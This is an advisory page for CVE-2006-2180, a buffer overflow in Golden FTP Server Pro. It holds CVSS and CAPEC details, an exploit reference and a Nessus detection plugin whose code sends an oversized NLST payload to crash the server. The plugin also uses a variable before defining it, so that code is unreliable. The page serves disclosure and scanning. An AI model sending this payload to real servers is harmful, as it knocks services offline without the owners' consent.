Vulnerabilities > CVE-2006-2180 - Buffer Errors vulnerability in Kmint21 Software Golden FTP Server 1.32B/2.70

047910
CVSS 6.4 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
kmint21-software
CWE-119
nessus
exploit available

Summary

Buffer overflow in Golden FTP Server Pro 2.70 allows remote attackers to cause a denial of service (application crash) and execute arbitrary code via a long argument to the (1) NLST or (2) APPE commands, as demonstrated by the Infigo FTPStress Fuzzer.

Vulnerable Configurations

Part Description Count
Application
Kmint21_Software
2

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Exploit-Db

descriptionGolden FTP Server Pro 2.70 (APPE) Remote Buffer Overflow PoC. CVE-2006-2180. Dos exploit for windows platform
idEDB-ID:1743
last seen2016-01-31
modified2006-05-03
published2006-05-03
reporterJerome Athias
sourcehttps://www.exploit-db.com/download/1743/
titleGolden FTP Server Pro 2.70 - APPE Remote Buffer Overflow PoC

Nessus

NASL familyFTP
NASL idGOLDEN_FTP_SERVER_NLST_OVERFLOW.NASL
descriptionThe remote host appears to be using Golden FTP Server, a personal FTP server for Windows. The version of Golden FTP Server installed on the remote host contains a buffer overflow vulnerability that can be exploited by an authenticated, possibly anonymous, user with a specially crafted NLST command to crash the affected application or execute arbitrary code on the affected host.
last seen2020-06-01
modified2020-06-02
plugin id21325
published2006-05-04
reporterThis script is Copyright (C) 2006-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/21325
titleGolden FTP Server Pro Multiple Command Remote Overflow DoS
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(21325);
  script_version("1.20");

  script_cve_id("CVE-2006-2180");
  script_bugtraq_id(17801);

  script_name(english:"Golden FTP Server Pro Multiple Command Remote Overflow DoS");
  script_summary(english:"Checks for NLST command buffer overflow vulnerability in Golden FTP Server");

 script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is affected by a buffer overflow flaw." );
 script_set_attribute(attribute:"description", value:
"The remote host appears to be using Golden FTP Server, a personal FTP
server for Windows.

The version of Golden FTP Server installed on the remote host contains
a buffer overflow vulnerability that can be exploited by an
authenticated, possibly anonymous, user with a specially crafted NLST
command to crash the affected application or execute arbitrary code on
the affected host." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2006/May/22" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(119);
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/05/04");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/05/01");
 script_cvs_date("Date: 2018/11/15 20:50:22");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:kmint21_software:golden_ftp_server");
 script_end_attributes();


  script_category(ACT_DENIAL);
  script_family(english:"FTP");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_require_keys("ftp/login", "ftp/password");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("ftp_func.inc");


port = get_ftp_port(default: 21);


# nb: to exploit the vulnerability we need to log in.
user = get_kb_item_or_exit("ftp/login");
pass = get_kb_item_or_exit("ftp/password");


soc = open_sock_tcp(port);
if (!soc) exit(1);
if (!ftp_authenticate(socket:soc, user:user, pass:pass))
{
  close(soc);
  exit(1, "cannot login with supplied FTP credentials");
}


# Make sure it's Golden FTP Server.
send(socket:soc, data: c + '\r\n');
s = recv_line(socket:soc, length:4096);
if ("215 WIN32" >!< s) exit(0);


# Try to exploit the flaw to crash the daemon.
evil = "NLST /";
for (i=1; i<=120; i++) evil += "A/";
c = string(evil, crap(data:raw_string(0xff), length:700));
send(socket:soc, data: c + '\r\n');
s = ftp_recv_line(socket:soc);


# If we didn't get a response...
if (isnull(s))
{
  # Check whether it's truly down.
  if (service_is_dead(port: port) > 0)
   security_warning(port);
  exit(0);
}


ftp_close(socket:soc);